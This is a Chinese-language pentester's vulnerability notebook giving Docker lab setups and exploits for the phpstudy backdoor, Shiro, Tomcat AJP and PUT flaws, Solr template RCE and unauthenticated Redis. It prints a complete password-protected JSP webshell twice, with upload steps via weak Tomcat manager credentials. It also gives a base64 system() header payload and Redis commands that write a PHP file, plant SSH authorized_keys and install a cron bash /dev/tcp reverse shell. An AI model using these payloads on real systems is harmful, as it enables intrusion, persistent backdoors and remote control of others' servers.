漏洞庫
phpstudy
- 實測2016的PHP-5.4,2018的PHP-5.2.17和PHP-5.4.45都存在此漏洞
- 注意請求頭的
Accept-Encoding
後應去掉空格,Accept-Charset
後值爲base64
編碼,c3lzdGVtKCd3aG9hbWknKTs=
解密爲system('whoami');
注意後面有分號
Shiro RCE(cve-2016-4437)
環境搭建
- 基於
Docker
,一鍵搭建,而後訪問本地http://127.0.0.1:9000/
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 9000:8080 medicean/vulapps:s_shiro_1
- 還沒找到合適的Burp插件,能夠手動添加字段
rememberMe
,有回顯則是shiro
框架
EXP
Tomcat Rce(CVE-2020-1938)
環境搭建
- 基於
Docker
,一鍵搭建,影響Apache Tomcat 6
,7 < 7.0.100
,8 < 8.5.51
, 9 < 9.0.31
.
docker pull duonghuuphuc/tomcat-8.5.32
docker run -d -p 8080:8080 -p 8009:8009 duonghuuphuc/tomcat-8.5.32
EXP
Tomcat WAR BackDoor
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
- 訪問後臺路徑
/manager/html/
發現弱口令tomcat tomcat
,登陸後上傳war文件(將上面代碼寫入shell.jsp,再壓縮成zip文件,最後更改shell.zip爲401.war便可)
Tomcat PUT(CVE-2017-12615)
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
EXP
- 這裏就不貼了吧,後面直接上傳GitHub,雖然這個洞幾乎都沒得了,可是仔細一點總沒錯嘛!
Solr RCE(CVE-2019-17558)
環境搭建
- 基於
vulhub
的docker環境包.影響Apache Solr 5.0.0版本至8.3.1,漏洞緣由,params.resource.loader.enabled
配置不當,咱們能夠自定義模板,從而任意執行命令
git clone https://github.com/vulhub/vulhub.git
cd vulhub/solr/CVE-2019-17558/
docker-compose up -d
- 發現方式可目錄掃描或端口掃描(注意普通方式可能不會發現
8983
端口),
EXP
- 不知道爲啥網上的EXP打不通,因而乎本身寫了一個,後面會都放在GitHub.
- 更改
params.resource.loader.enabled
配置
Redis Getshell(Linux)
環境搭建
Ubuntu
系統,一鍵式安裝,更改配置爲未受權.而後啓動服務便可
sudo apt install gcc && wget http://download.redis.io/releases/redis-5.0.3.tar.gz && tar -zxvf redis-5.0.3.tar.gz && cd redis-5.0.3 && make
- 修改
Redis
啓動配置文件redis.conf
,將bind 127.0.0.1
改成bind 0.0.0.0
,關閉保護模式,protected-mode yes
改成``protected-mode no`,最後保存退出.
- 啓動服務
sudo ./redis-server ../redis.conf
Webshell
config set dir /var/www/html/
config set dbfilename info.php
set payload "<?php phpinfo();?>"
save
SSH公私鑰
ssh-keygen -t rsa
config set dir /home/forever404/.ssh/
config set dbfilename authorized_keys
set payload "\n\n\nid_rsa.pub\n\n\n"
save
定時計劃反彈Shell
- 注意這個需在
Centos
上方可實現,Ubuntu
上親測不能夠,碼.sudo systemctl stop firewalld.service
關閉防火牆,
config set dir /var/spool/cron/
config set dbfilename root
set paylaod "\n\n\n* * * * * bash -i >& /dev/tcp/172.x.x.x/8888 0>&1\n\n\n"
save
主從複製